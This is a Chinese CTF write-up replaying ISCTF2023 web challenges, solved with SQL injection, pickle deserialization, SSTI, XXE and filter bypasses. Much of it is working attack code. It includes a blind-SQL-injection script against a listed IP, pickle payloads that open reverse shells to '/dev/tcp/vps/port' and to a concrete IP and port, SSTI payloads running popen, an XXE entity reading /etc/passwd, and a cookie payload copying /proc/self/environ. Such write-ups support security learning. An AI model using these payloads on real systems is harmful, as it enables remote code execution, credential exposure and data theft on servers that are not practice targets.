ISCTF2023_web怪题复现
因为比较简单,做出来的我简单说说,没做出来的也没什么好避讳的,该学就得学,打打复现。
第一个最简单的php反序列化;第二个直接连蚁剑;第三个PCRE回溯绕过正则表达式preg_match;第四个union联合注入(双写绕过);第五个直接code=system('ca''t /f*')或者code=system('strings /f*')【预期解】;第六个user.ini里传base64的php://filter伪协议,然后传base64一句话木马;第八个fuzz会发现中括号和花括号都没ban,可以?file=| cat /fla[f-h]gggggg.txt,也可以?file=f{i}l{e}:///fla{g}gggggg.txt ;第十个直接没压力的SSTI注入。
这里文件上传的还有种写日志的方法,贴一下官方wp:
webinclude
这道题因为进去要给参数传参,但是一直传不了。什么东西都没有,其实就应该dirsearch扫到底,我扫一半就润了:
扫到个index.bak:
function string_to_int_array(str){ const intArr = []; for(let i=0;i<str.length;i++){ const charcode = str.charCodeAt(i); const partA = Math.floor(charcode / 26); const partB = charcode % 26; intArr.push(partA); intArr.push(partB); } return intArr; } function int_array_to_text(int_array){ let txt = ''; for(let i=0;i<int_array.length;i++){ txt += String.fromCharCode(97 + int_array[i]); } return txt; } const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter)))); if(hash === 'dxdydxdudxdtdxeadxekdxea'){ window.location = 'flag.html'; }else { document.getElementById('fail').style.display = ''; }
js写的,意思应该就是用这个定义的hash字符串逆向把这个parameter解出来,这样就可以传参了。
re的味道,唉。
exp:
def string_to_int_array(text): int_array = [] for char in text: char_code = ord(char) int_array.append(char_code - 97) return int_array def int_array_to_text(int_arr): string = '' for i in range(0, len(int_arr), 2): part_a = int_arr[i] part_b = int_arr[i + 1] char_code = part_a * 26 + part_b char = chr(char_code) string += char return string a = 'dxdydxdudxdtdxeadxekdxea' parameter = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(a)))) print(parameter)
不好评价。
那么直接传参php伪协议读就完事了:
1z_Ssql
进去是个sql注入,本来开始用异或注入已经爆库了,但是后面因为过滤了where让我非常难受,网上很多SQL注入的文章特别浅显,基本没讲到过滤了where这种怎么半,唯一找到的还是ctfshow上一道题用了having子句。所以这道题我记忆犹新。
本来以为是个简单的盲注,然后我把很多过滤字段都试出来了,看了别人wp才发现还可以dirsearch扫到黑名单(我去)....
true回显挺正常,就是个简单的布尔盲注,但是就是这个过滤where让我特别恶心,甚至都想到了正则注入也绕不过。
import requests i = 0 url = "http://43.249.195.138:20786/" result = "" for k in range (0,10): for j in range (1,100): l = 32 r = 128 mid = (l+r)>>1 while (l < r): #爆库名 payload ="1'^(ascii(substr(database(),{0},1))>{1})#".format(j,mid) #爆表名 #payload = "1'^(ascii(substr((select table_name from information_schema.tables group by table_name having table_schema regexp database() limit {2},1),{0},1))>{1})#".format(j, mid,k) #爆字段 #payload = "1'^(ascii(substr((select column_name from information_schema.columns where table_name='users' limit {2},1),{0},1))>{1})#".format(j, mid, k) #payload = "1'^(ascii(substr((select flag1 from limit {2},1),{0},1)>{1}))#".format(j,mid,k) response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"}) if "You are so smart!" in response.text: l = mid + 1 # print(payload) #print(response.text) i +=1 else : r = mid mid = (l + r)>>1 if (chr(mid) == " "): result = result + '\n' break result = result + chr(mid) #print(result) print(i) print(result)
第一个爆库了:
但网上找的后面的payload都有where,所以都寄了。
因此爆表名根本爆不出来。
但他还给了我两个附件:
我只能用附件里的两个txt,所以只能用这个来爆破。
由于name1里面有users,name2里面有username和password。
猜想name1为表名,name2为字段名来爆破:
将脚本中的database()改成select group_concat(username) from bthcls.users就可以了。
猜想验证:
import requests i = 0 url = "http://43.249.195.138:20786/" result = "" for k in range (0,10): for j in range (1,100): l = 32 r = 128 mid = (l+r)>>1 while (l < r): payload ="1'^(ascii(substr((select group_concat(username) from bthcls.users),{0},1))>{1})#".format(j,mid) response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"}) if "You are so smart!" in response.text: l = mid + 1 # print(payload) #print(response.text) i +=1 else : r = mid mid = (l + r)>>1 if (chr(mid) == " "): result = result + '\n' break result = result + chr(mid) #print(result) print(i) print(result)
猜想正确,而且flag这些都不能直接读,再用password换一次username拿到admin的密码:
然后登录后台给flag:
牛魔玩意,恶心我半天,结果这么简单就出了。
但是网上还找到个非预期,太顶了:[ISCTF2023]web个人复现-CSDN博客
load_file任意文件读取
泰库辣!!!!
double_pickle
进hint路由:
当初陷入定势思维了,我想到reduce没了,应该直接手搓opcode然后传参,os和system没了用0x76(s的十六进制)绕过,不知道成不成功,因为前面做CNSS一道题有个过滤R操作码的pickle反序列化,想到用i操作码或者o操作码,迟迟没有动手,就止步这里了。
看了看这些,也算是受益匪浅:
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)
Pickle 反序列化绕过 | DummyKitty's blog
python pickle反序列化R指令禁用绕过-腾讯云开发者社区-腾讯云 (tencent.com)
后面才发现这道题,它直接换成空,那不直接双写绕过就完事了吗,我真是个蠢比。
exp:
import pickle import base64 exp = b'''cooss syssystemtem (S"bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'" tR.''' print(base64.b64encode(exp))
但是我用隧道没弹出来,算了,vps应该就没有问题。
(补充:后面就用了另一种方法,但是要注意Linux和Windows的区别,在linux开跑pickle.dump的exp:
import pickle import os import base64 class Payload(): def __reduce__(self): return(os.system,('bash -c "bash -i >& /dev/tcp/120.46.41.173/9023 0>&1"',)) #反弹shell。因为这里无回显且无写入权限。 a= Payload() payload=pickle.dumps(a).replace(b'os', b'ooss').replace(b'reduce',b'redreduceuce').replace(b'system',b'syssystemtem').replace(b'env',b'enenvv').replace(b'flag', b'flflagag') #双写绕过 payload=base64.b64encode(payload) #base编码byte类 print(payload)
应该就没问题)
看看别人的:ISCTF2023-web方向-CSDN博客
deep_website
提示是个异或注入,hint源码看了下是把黑名单元素换成空了。
最后贴一下官方wp,还是有点意思:
恐怖G7人-卷土重来
第一个零解题。
框架跟前面的逻辑几乎差不多,但是不一样的地方就是,注入不了了。
何出此言,因为框里只会把你所有的东西回显出来,而不是执行,譬如{{''.__class__}}输进去并不是像前面那样把类给打印出来,而是只打印出{{''.__class__}}这个字符串。
估计代码里直接用的{{}},由此就避免了SSTI。
那么我们必然要去找其他的方法。
首先去原题那里,我们先拿一下app.py和waf.py的源码:
char={{''.__class__.__base__.__subclasses__()[154]['__in'+'it__']['__glo'+'bals__']['popen']('cat app.py').read()}}
app.py:
from flask import Flask from flask import request from flask import config from flask import session from flask import make_response from flask import render_template_string from waf import waf import base64 import pickle app = Flask(__name__) @app.route("/") def Hello(): html = ''' <html> <head> <title>Welcome ISCTF</title> </head> <body> <h1>Hello CTFer,Welcome to ISCTF 排位赛联盟</h1> <br> <h2>了解你的撼胃者</h2> <img src={{url_for("static",filename="/img/1.jpg")}}> <h3>你知道我什么成分,来找我吧</h3> <br> <a href="/zhuwangxiagu"> 前往猪王峡谷</a> </body> </html> ''' return render_template_string(html) @app.route("/zhuwangxiagu", methods=["GET", "POST"]) def pig(): html = ''' <html> <head> <title>猪王峡谷 排位赛联盟</title> </head> <body> <form action="/game" method="post" enctype="multipart/form-data"> <p>选择你的角色</p> <input type="text" name="char" required> <input type="submit" value="林肯死大头!"> </form> </body> </html> ''' return html @app.route("/game", methods=["GET", "POST"]) def game(): name = request.form.get('char') if name is None: name = "undefined" html = f''' <html> <head> <title>猪王峡谷 排位赛联盟</title> </head> <body> <h3>了解这片土地,发现自身优势,然后纵身一跃</h3> <h3>芜湖~这可真带劲</h3> <p>-----------------------------------------------------------------------------</p> <h3>这场战斗并非势均力敌,有多位大厨在做饭</h3> <p>-----------------------------------------------------------------------------</p> <h1>You are the ISCTF champion, flag in /champion</h1> <h4>重伤倒地</h4> <h4>{name}</h4> <h4>动力牛子</h4> </body> </html> ''' user = base64.b64encode(pickle.dumps({"name": name, "is_champion": 0})) resp = make_response(render_template_string(html)) resp.set_cookie('userInfo', user) return resp @app.route("/champion") def getflag(): userInfoCookies = request.cookies.get('userInfo') if userInfoCookies is None: return "<h1>Bad Request</h1>", 400 user = base64.b64decode(userInfoCookies) if not waf(user): return "<h1>403 Forbidden a</h1>", 403 user = pickle.loads(user) if (champion := user.get("is_champion") is None) or (username := user.get("name") is None): return "<h1>You are Not TruE champion</h1>", 401 if champion != 1: return "<h1>You are Not TruE champion</h1>", 401 else: return f"<h1>Welcome champion: {name},But flag in f1__A_g.txt, Get it!</h1>" app.run(host="0.0.0.0")
char={{''.__class__.__base__.__subclasses__()[154]['__in'+'it__']['__glo'+'bals__']['popen']('cat waf.py').read()}}
waf.py:
import re waf_words = {"setstate", "exec", "key", "os", 'system', 'eval', 'popen', 'subprocess', 'command', 'run', 'read', 'output', 'cat', 'ls', 'grep', 'global', 'flag', '\\nR', 'ntimeit'} def waf(string): for i in waf_words: if re.findall(i, str(string), re.I): print(i) return False pattern_unicode = r'\\u[0-9a-fA-F]{4}' pattern_R1 = r'\\nR' pattern_R2 = r'\\ntimeit' m1 = re.findall(pattern_unicode, str(string)) m2 = re.findall(pattern_R1, str(string)) m3 = re.findall(pattern_R2, str(string)) if any([m1, m2, m3]): print(m1, m2, m3) return False return True
浅浅看一下,发现app.py里的champion路由存在pickle反序列化漏洞,那么回到这个0解的新改题,因为很多都被ban了,但是pty和spawn都没进黑名单,想到用cp命令把环境变量写到文件里在访问就可以了。
直接用pickle打:(注意termios这个包UNIX系统才用得到,windows下面跑不了)
import pickle import base64 class Payload(object): def __reduce__(self): return (__import__("pty").spawn,(["cp","/proc/self/environ","/static/img/1.txt"],),) a = Payload() print(pickle.dumps(a)) print(base64.b64encode(pickle.dumps(a)))
记得用python3:
python2的会失败的:
payload:
Cookie: userinfo=gASVRwAAAAAAAACMA3B0eZSMBXNwYXdulJOUXZQojAJjcJSMEi9wcm9jL3NlbGYvZW52aXJvbpSMES9zdGF0aWMvaW1nLzEudHh0lGWFlFKULg==
官方做法:
然后反弹shell。
ez_php
开始啥也没给,做不出来,后面给了html附件看了下源码,发现extract变量覆盖和XXE注入漏洞:
这个XML表单已经很显然了,现在就是想办法把这个XML回显给弄上去。
我们再看一下function.php:
在function.php这里有三个方法,注册一个用户就会创建$user_info_dir.$username的目录,并新建一个用户名.xml的文件,并把$user_xml写入,而且最关键的是这里所有的变量都是可控的。
追溯一下$user_info_dir,在config.php文件中,默认路径为:/tmp/users/,但我们也可以改成:/var/www/html/ :
构造payload:
/register.php?username=123&password=1&config['user_info_dir']=/var/www/html/
由上可以知道,会创建一个跟username名字相同文件名的文件,以及内部一个同名xml,访问一下123/123.xml
获得了回显。
那么接下来就是老生常谈的XXE:
从function.php里的:
也能显然看出,这里可以接受外部实体注入,XXE坐实了。
用register.php里面的XML格式,我们可以构造出:
user_xml_format=<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <userinfo> <user> <username>%26xxe;</username> <password>123</password> </user> </userinfo>
利用password报错出username的回显,试试能不能任意文件读取:
成功:
然后直接路径穿越读flag试试,结果直接就出了:
注意,传参时一定要记得加上这个表单type,不然出不了的:
Content-Type: application/x-www-form-urlencoded